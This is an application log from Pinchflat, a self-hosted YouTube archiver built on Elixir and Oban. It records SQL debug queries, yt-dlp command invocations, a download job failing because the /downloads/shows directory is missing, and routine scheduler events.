{"args":{"id":14408},"id":2349,"meta":{},"system_time":1788439427700456649,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:43:47.707 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 22:43:47.709 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:43:47.713 [debug] QUERY OK source="sources" db=3.6ms queue=0.1ms idle=126.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:43:47.717 [debug] QUERY OK source="media_profiles" db=3.5ms queue=0.1ms idle=130.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:43:47.720 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=28.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 22:43:47.722 [debug] QUERY OK source="media_metadata" db=0.5ms idle=21.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 22:43:47.722 [debug] QUERY OK source="media_profiles" db=0.1ms idle=18.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:43:47.723 [debug] QUERY OK source="settings" db=0.4ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:47.724 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:47.725 [debug] Running yt-dlp command for action: get_downloadable_status 22:43:47.725 [debug] QUERY OK source="settings" db=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:47.726 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:47.726 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:47.726 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/6d/2c6d2e8ba2ecb1d2e28dc9f5100c8bdaaa945f9b58d03fb01e0722d12aa7555a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:43:51.580 [info] {"source":"oban","duration":27401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:55.186 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/6d/2c6d2e8ba2ecb1d2e28dc9f5100c8bdaaa945f9b58d03fb01e0722d12aa7555a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:43:55.187 [debug] Running yt-dlp command for action: download 22:43:55.188 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1593.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:55.188 [debug] QUERY OK source="settings" db=0.1ms idle=1594.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:55.188 [debug] QUERY OK source="settings" db=0.0ms idle=1470.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:55.188 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/09/6609a7645b82fdb9caea0876c224b9edb54506b36e0b38b6318601a50f525a1b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:00.479 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:01.307 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/09/6609a7645b82fdb9caea0876c224b9edb54506b36e0b38b6318601a50f525a1b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 22:44:01.308 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 22:44:01.310 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13608150,"event":"job:exception","queue_time":439326,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:44:21.608 [info] {"source":"oban","duration":23406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:51.626 [info] {"source":"oban","duration":16334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.483 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:21.634 [info] {"source":"oban","duration":3649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:51.664 [info] {"source":"oban","duration":26623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.487 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:21.696 [info] {"source":"oban","duration":23885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:51.701 [info] {"source":"oban","duration":3348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.495 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:21.705 [info] {"source":"oban","duration":2518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:51.711 [info] {"source":"oban","duration":3331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.498 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:21.716 [info] {"source":"oban","duration":3704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:51.721 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.505 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:21.724 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:51.728 [info] {"source":"oban","duration":2865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.509 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:10.987 [info] GET / 22:50:10.988 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:50:10.998 [debug] QUERY OK source="settings" db=2.2ms queue=0.3ms idle=1508.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:11.000 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=1518.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:50:11.001 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1284.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:50:11.072 [debug] QUERY OK source="media_items" db=71.1ms queue=0.1ms idle=521.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:50:11.080 [debug] QUERY OK source="media_items" db=7.0ms queue=0.1ms idle=353.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:50:11.081 [debug] QUERY OK source="settings" db=0.1ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:11.082 [debug] QUERY OK source="settings" db=0.1ms idle=81.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:11.083 [debug] QUERY OK source="settings" db=0.0ms idle=81.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:11.085 [debug] QUERY OK source="tasks" db=0.2ms idle=12.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:50:11.087 [debug] QUERY OK source="media_items" db=0.3ms idle=6.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:50:11.088 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:50:11.088 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 22:50:11.093 [debug] QUERY OK source="media_items" db=3.1ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:50:11.094 [debug] QUERY OK source="media_items" db=0.9ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:50:11.095 [debug] QUERY OK source="sources" db=0.1ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:50:11.096 [info] Sent 200 in 109ms 22:50:21.732 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:51.736 [info] {"source":"oban","duration":3700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.511 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:21.742 [info] {"source":"oban","duration":2397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:51.748 [info] {"source":"oban","duration":3160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.514 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:21.754 [info] {"source":"oban","duration":3494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:51.760 [info] {"source":"oban","duration":3250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.515 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:21.764 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:51.770 [info] {"source":"oban","duration":3560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.520 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:21.775 [info] {"source":"oban","duration":3408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:51.783 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.524 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:21.787 [info] {"source":"oban","duration":2672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:51.793 [info] {"source":"oban","duration":2928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.541 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:21.803 [info] {"source":"oban","duration":3993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:51.806 [info] {"source":"oban","duration":2289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.548 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:21.813 [info] {"source":"oban","duration":4327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:51.818 [info] {"source":"oban","duration":3866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.551 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:21.823 [info] {"source":"oban","duration":3219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:51.827 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.555 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:21.836 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:51.843 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.566 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:21.851 [info] {"source":"oban","duration":3636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:51.858 [info] {"source":"oban","duration":3250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.568 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:21.866 [info] {"source":"oban","duration":3142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:51.880 [info] {"source":"oban","duration":5330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.570 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:21.891 [info] {"source":"oban","duration":4323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:51.900 [info] {"source":"oban","duration":3709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.572 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:21.905 [info] {"source":"oban","duration":2637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:51.914 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.574 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:21.919 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:51.924 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.579 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:21.929 [info] {"source":"oban","duration":3453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:51.943 [info] {"source":"oban","duration":3148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.585 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:21.949 [info] {"source":"oban","duration":3580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:51.955 [info] {"source":"oban","duration":3354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.588 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:21.963 [info] {"source":"oban","duration":4715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:51.968 [info] {"source":"oban","duration":2807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.591 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:21.975 [info] {"source":"oban","duration":5944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:51.980 [info] {"source":"oban","duration":3524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.595 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:13.496 [info] GET / 23:09:13.497 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 